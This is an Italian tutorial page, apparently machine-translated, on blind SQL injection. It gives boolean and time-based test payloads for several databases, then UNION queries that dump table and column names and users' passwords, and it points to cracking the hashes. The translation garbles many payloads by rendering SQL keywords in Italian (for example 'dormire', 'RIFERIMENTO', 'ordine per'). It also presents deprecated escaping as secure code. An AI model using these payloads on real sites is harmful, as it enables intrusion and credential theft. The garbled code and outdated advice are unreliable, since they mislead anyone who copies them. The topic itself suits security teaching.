Sicurezza

Tutorial sulle tecniche di blind SQL injection

Tutorial sulle tecniche di blind SQL injection

Che cos'è l'iniezione SQL??

SQL Injection è un tipo di attacco al database in cui un utente malintenzionato cerca di rubare informazioni dal database di un'applicazione Web. Ciò può anche comportare l'esecuzione di codice remoto a seconda dell'ambiente dell'applicazione Web e della versione del database.

SQL Injection si verifica a causa della scarsa sanificazione dell'input dell'utente. Se ricevi input dall'utente in un linguaggio di codifica (PHP, ASP.NET) e passarlo direttamente al database del server senza applicare alcun filtro sull'input, ciò può comportare una vulnerabilità di SQL Injection.

Ad esempio, il seguente codice PHP è vulnerabile all'attacco SQL Injection perché passa direttamente l'input dell'utente al database. L'attaccante può creare la propria query di database dannosa per estrarre i dati dal database.

// L'input utente è memorizzato nella variabile id
$id = $_GET['id'];
// L'input utente viene eseguito direttamente nel database
$getid = "SELECT nome, cognome FROM utenti WHERE user_id = '$id'";
// In caso di errore o successo, i risultati vengono restituiti all'utente
$risultato = mysql_query($getid) or die('
' . mysql_error() . '
');
$num = mysql_numrows($risultato);

D'altra parte, viene fornito un esempio di codice sicuro di tale codice per interagire con il database. Prende l'input dell'utente e filtra eventuali caratteri dannosi da esso, quindi lo passa al database.

$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);

Iniezione SQL normale o cieca

Iniezione SQL normale

Nella normale SQL Injection, se un utente malintenzionato tenta di inserire un apice (') come input, quando questo singolo apice viene eseguito nel database, il database risponde con un errore. L'errore viene stampato nel browser dell'attaccante.

Il codice responsabile di questo errore è

// se il database risponde con un errore, viene eseguita la funzione "or die()"
per stampare l'errore
$risultato = mysql_query($getid) or die('
' . mysql_error() . '
');

In Normal SQL Injection, l'attaccante può vedere i risultati dell'errore ed è facile da identificare e sfruttare.

Iniezione SQL cieca

Nel caso di Blind SQL Injection, quando viene eseguita una query dannosa come un singolo apice, l'errore del database non viene visualizzato nel browser dell'attaccante o viene visualizzato in modo molto generico che non può essere identificato e sfruttato facilmente dall'attaccante.

Il codice di backend responsabile di ciò è riportato di seguito

$risultato = mysql_query($getid); // Rimosso 'o muori' per sopprimere gli errori mysql

In Blind SQL Injection, l'attaccante non può vedere i risultati completi, quindi questo tipo di SQLi è difficile da identificare e sfruttare ma ha lo stesso livello di rischio del normale SQLi.

Tecniche per rilevare l'iniezione SQL cieca

Mentre la normale SQL Injection può essere rilevata inviando virgolette singole (') come input ed esaminando l'errore di output, Blind SQL injection non può essere rilevata utilizzando questa tecnica perché non visualizza alcun errore SQL. Esistono molte tecniche per rilevare una Blind SQL injection, alcune di esse sono fornite come segue

Rilevamento basato su VERO e FALSO

Una delle caratteristiche dei database incluso MySQL è il diverso comportamento sulle dichiarazioni True e False. Anche se il database non mostra errori, possiamo decidere di utilizzare le istruzioni True e False. Considera il seguente scenario,

La pagina seguente è vulnerabile all'iniezione Blind SQL, dandogli una dichiarazione vera mostrerà tutte le voci nel database

1' o 1=1#

Dare una query falsa come input non visualizzerà alcun dato.

1' o 1=2#

Anche la pagina web non mostra alcun errore, la differenza tra le due pagine indica che le nostre query vengono eseguite con successo nel database.

Rilevamento basato sul TEMPO

C'è una funzione nei database tra cui MySQL, MS-SQL e altri per i ritardi. Possiamo utilizzare la funzione SLEEP() nella nostra query, se la risposta del database è lenta significa che la nostra query viene eseguita correttamente e la pagina Web è vulnerabile a Blind SQL Injection.

1' E dormire(15)#

Esiste un'altra funzione che richiede tempo "BENCHMARK" che può essere utilizzata per ritardare la risposta del database

1' E RIFERIMENTO(10000000,SHA1(1337))#

La riga sopra eseguirà la funzione SHA1() 10000000 volte nel database, il che aggiungerà una quantità significativa di ritardo nella risposta.

Blind SQL injection basata sul tempo in altri database

MSSQL: ID=1;attesa ritardo '0:0:10'-

ORACOLO SQL: AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

PostgreSQL: AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))

SQLite: AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))))

Estrazione delle informazioni del database

Il primo passaggio dell'estrazione del database è determinare i numeri di colonna nel database. Quindi prova a trovare colonne vulnerabili per estrarre ulteriori dati.

Blind SQL Injection si comporta in modo diverso con numeri di colonna diversi nella query "ordina per".

1' ordine per 1#

L'affermazione di cui sopra è vera perché in un database esiste sempre almeno 1 colonna. Ora prova con un numero molto grande.

1' ordine entro 10000#

La risposta del database è diversa da quella precedente. Ora prova con 2 colonne.

L'istruzione ha funzionato, ciò significa che il database ha 2 o più colonne. Ora prova con 3 colonne.

1' ordine per 3#

Il database non ha inviato alcuna risposta, ciò significa che il database ha solo 2 colonne. Ora proveremo a scaricare l'elenco delle tabelle nel database, utilizzeremo la seguente query per questo

1' union all select 1,group_concat(table_name) from information_schema.
tabelle dove schema_tabella=database()#

Ci sono due tabelle nel database di backend "Guestbook & Users". La tabella "utenti" può contenere nomi utente e password. Per estrarre i nomi delle colonne dalla tabella, inserisci la seguente query.

1' union all select 1,group_concat(column_name) from information_schema.
colonne dove schema_tabella=database()#

Ora abbiamo estratto i nomi delle colonne, incluse le colonne utente e password. Queste colonne memorizzano i nomi utente e le password dei clienti.

Ora proveremo ad estrarre i dati utilizzando la seguente query

1' union all select 1,group_concat(user,password) from users#

Ed è così che puoi sfruttare Blind SQL Injection senza fare affidamento su errori. La maggior parte delle volte viene eseguita l'hashing delle password di output, che possono essere decifrate utilizzando strumenti come John The Ripper o Hashcat.

Conclusione:

Blind SQL Injection è il tipo di SQLi che non mostra errori del database o risponde con un messaggio molto generico. Ecco perché è molto difficile identificare la vulnerabilità di Blind SQL Injection in una pagina web. Una volta rilevato, puoi sfruttarlo facilmente tramite un processo manuale o automatizzato utilizzando SQLmap.

Come aumentare gli FPS in Linux?
FPS sta per Fotogrammi al secondo. Il compito dell'FPS è misurare il frame rate nelle riproduzioni video o nelle prestazioni di gioco game. In parole ...
I migliori giochi di laboratorio dell'app Oculus
Se possiedi un visore Oculus, devi essere informato sul sideloading. Il sideloading è il processo di installazione di contenuti non archiviati sul vis...
I 10 migliori giochi da giocare su Ubuntu
La piattaforma Windows è stata una delle piattaforme dominanti per i giochi a causa dell'enorme percentuale di giochi che si stanno sviluppando oggi p...